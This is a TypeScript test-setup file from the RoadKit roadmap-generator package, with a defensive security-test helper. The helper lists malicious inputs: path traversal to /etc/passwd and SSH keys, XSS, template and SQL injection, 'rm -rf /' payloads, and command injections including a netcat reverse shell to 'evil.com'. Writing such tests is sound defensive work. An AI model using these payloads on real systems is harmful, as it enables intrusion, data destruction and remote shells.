UNPKG

roadkit

Version:

Beautiful Next.js roadmap website generator with full-screen kanban boards, dark/light mode, and static export

359 lines (312 loc) 9.74 kB
/** * Test Setup and Configuration * * This file sets up the test environment and provides shared utilities * for the RoadKit test suite. */ import { beforeAll, afterAll } from 'bun:test'; import { join, resolve } from 'path'; import { existsSync } from 'fs'; import { mkdir, rm } from 'fs/promises'; // Global test directories export const TEST_ROOT_DIR = resolve(__dirname, '../../test-temp'); export const TEST_LOGS_DIR = join(TEST_ROOT_DIR, 'logs'); export const TEST_TEMPLATES_DIR = join(TEST_ROOT_DIR, 'templates'); export const TEST_OUTPUT_DIR = join(TEST_ROOT_DIR, 'output'); /** * Test environment configuration */ export const TEST_CONFIG = { // Disable process.exit during tests preventExit: true, // Test timeout settings timeout: { unit: 5000, // 5 seconds for unit tests integration: 30000, // 30 seconds for integration tests security: 10000 // 10 seconds for security tests }, // Security test settings security: { enableAuditLogging: true, testMaliciousInputs: true, validateAllOutputs: true }, // Performance test settings performance: { maxMemoryUsage: 100 * 1024 * 1024, // 100MB maxExecutionTime: 30000 // 30 seconds } } as const; /** * Global test setup - runs before all tests */ beforeAll(async () => { console.log('🧪 Setting up RoadKit test environment...'); // Create test directories if (existsSync(TEST_ROOT_DIR)) { await rm(TEST_ROOT_DIR, { recursive: true, force: true }); } await mkdir(TEST_ROOT_DIR, { recursive: true }); await mkdir(TEST_LOGS_DIR, { recursive: true }); await mkdir(TEST_TEMPLATES_DIR, { recursive: true }); await mkdir(TEST_OUTPUT_DIR, { recursive: true }); // Set up environment variables for testing process.env.NODE_ENV = 'test'; process.env.ROADKIT_LOG_LEVEL = 'debug'; process.env.ROADKIT_ENABLE_SECURITY_LOGGING = 'true'; // Override process.exit to prevent test suite termination const originalExit = process.exit; process.exit = ((code?: number) => { if (TEST_CONFIG.preventExit) { console.warn(`⚠️ process.exit(${code}) was called but prevented during testing`); return originalExit as any; } return originalExit(code); }) as any; console.log('✅ Test environment setup complete'); }); /** * Global test cleanup - runs after all tests */ afterAll(async () => { console.log('🧹 Cleaning up test environment...'); // Clean up test directories if (existsSync(TEST_ROOT_DIR)) { await rm(TEST_ROOT_DIR, { recursive: true, force: true }); } // Reset environment delete process.env.ROADKIT_LOG_LEVEL; delete process.env.ROADKIT_ENABLE_SECURITY_LOGGING; console.log('✅ Test cleanup complete'); }); /** * Utility function to create a temporary test directory */ export async function createTempTestDir(name: string): Promise<string> { const tempDir = join(TEST_ROOT_DIR, 'temp', name); await mkdir(tempDir, { recursive: true }); return tempDir; } /** * Utility function to clean up a temporary test directory */ export async function cleanupTempTestDir(path: string): Promise<void> { if (existsSync(path)) { await rm(path, { recursive: true, force: true }); } } /** * Mock console to capture output during tests */ export function mockConsole() { const logs: string[] = []; const errors: string[] = []; const warnings: string[] = []; const originalLog = console.log; const originalError = console.error; const originalWarn = console.warn; console.log = (...args: any[]) => { logs.push(args.map(arg => String(arg)).join(' ')); }; console.error = (...args: any[]) => { errors.push(args.map(arg => String(arg)).join(' ')); }; console.warn = (...args: any[]) => { warnings.push(args.map(arg => String(arg)).join(' ')); }; return { logs, errors, warnings, restore: () => { console.log = originalLog; console.error = originalError; console.warn = originalWarn; } }; } /** * Utility to measure execution time */ export function measureTime<T>(fn: () => Promise<T>): Promise<{ result: T; duration: number }> { return new Promise(async (resolve, reject) => { const start = Date.now(); try { const result = await fn(); const duration = Date.now() - start; resolve({ result, duration }); } catch (error) { const duration = Date.now() - start; reject({ error, duration }); } }); } /** * Utility to check memory usage */ export function getMemoryUsage() { const usage = process.memoryUsage(); return { rss: usage.rss, heapTotal: usage.heapTotal, heapUsed: usage.heapUsed, external: usage.external, arrayBuffers: usage.arrayBuffers }; } /** * Security test helpers */ export const SecurityTestHelpers = { /** * Generates various malicious input patterns for testing */ getMaliciousInputs(): Record<string, string[]> { return { pathTraversal: [ '../../../etc/passwd', '..\\..\\windows\\system32', '/etc/passwd', 'C:\\Windows\\System32', '../../.ssh/id_rsa', '../../../root/.bashrc', 'node_modules/../../../etc/shadow', '.git/../../../sensitive-file', 'templates/../../../secret.key', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', // URL encoded '....//....//....//etc//passwd', // Double dot slash '..;/..;/..;/etc/passwd', // Semicolon bypass ], codeInjection: [ '<script>alert("xss")</script>', 'javascript:alert(1)', '${process.exit(1)}', '`rm -rf /`', 'eval("console.log(process.env)")', '${require("fs").readFileSync("/etc/passwd")}', '{{constructor.constructor("return process")().exit()}}', '<%- global.process.mainModule.require("child_process").exec("rm -rf /") %>', '${7*7}', // Template literal injection '#{7*7}', // Ruby-style injection '{{7*7}}', // Handlebars injection '<%= 7*7 %>', // ERB injection '${__dirname}', // Node.js path injection '${process.cwd()}', // Process working directory ], sqlInjection: [ "' OR '1'='1", "'; DROP TABLE users; --", "' UNION SELECT * FROM passwords --", "admin'--", "' OR 1=1#", "1' OR '1'='1' --", "1' UNION ALL SELECT NULL,NULL,NULL--", ], commandInjection: [ '; ls -la', '| cat /etc/passwd', '&& rm -rf /', '`whoami`', '$(whoami)', '; curl evil.com', '| nc -e /bin/sh evil.com 1234', '; python -c "import os; os.system(\'ls\')"', ], bufferOverflow: [ 'A'.repeat(10000), 'A'.repeat(100000), 'A'.repeat(1000000), '\x41'.repeat(1000), Buffer.alloc(10000, 'A').toString(), ], nullBytes: [ 'test\0file', 'project\0\0name', '/path/to/file\0.txt', 'name\x00.exe', 'file\0\0\0.txt', ], unicodeAttacks: [ '../../etc/passwd', // Regular '\u002e\u002e\u002f\u002e\u002e\u002f\u002e\u002e\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064', // Unicode '..%c0%af..%c0%af..%c0%afetc%c0%afpasswd', // Overlong UTF-8 '..%252f..%252f..%252fetc%252fpasswd', // Double URL encoding ] }; }, /** * Validates that a string doesn't contain dangerous patterns */ validateSafeString(input: string): { safe: boolean; violations: string[] } { const violations: string[] = []; // Check for script tags if (/<script/i.test(input)) { violations.push('Contains script tags'); } // Check for javascript protocol if (/javascript:/i.test(input)) { violations.push('Contains javascript protocol'); } // Check for eval/function calls if (/\b(eval|Function|setTimeout|setInterval)\s*\(/i.test(input)) { violations.push('Contains dangerous function calls'); } // Check for template injection if (/\$\{|\{\{|<%=|#\{/.test(input)) { violations.push('Contains template injection patterns'); } // Check for null bytes if (/\0/.test(input)) { violations.push('Contains null bytes'); } // Check for path traversal if (/(\.\.\/|\.\.\\|\.\.\/)/.test(input)) { violations.push('Contains path traversal patterns'); } return { safe: violations.length === 0, violations }; } }; /** * Performance test helpers */ export const PerformanceTestHelpers = { /** * Runs a function and validates it completes within time and memory limits */ async validatePerformance<T>( fn: () => Promise<T>, maxTime: number = TEST_CONFIG.performance.maxExecutionTime, maxMemory: number = TEST_CONFIG.performance.maxMemoryUsage ): Promise<{ result: T; duration: number; memoryUsed: number; withinLimits: boolean }> { const initialMemory = getMemoryUsage(); const start = Date.now(); const result = await fn(); const duration = Date.now() - start; const finalMemory = getMemoryUsage(); const memoryUsed = finalMemory.heapUsed - initialMemory.heapUsed; const withinLimits = duration <= maxTime && memoryUsed <= maxMemory; return { result, duration, memoryUsed, withinLimits }; } }; export default { TEST_CONFIG, TEST_ROOT_DIR, TEST_LOGS_DIR, TEST_TEMPLATES_DIR, TEST_OUTPUT_DIR, SecurityTestHelpers, PerformanceTestHelpers, createTempTestDir, cleanupTempTestDir, mockConsole, measureTime, getMemoryUsage };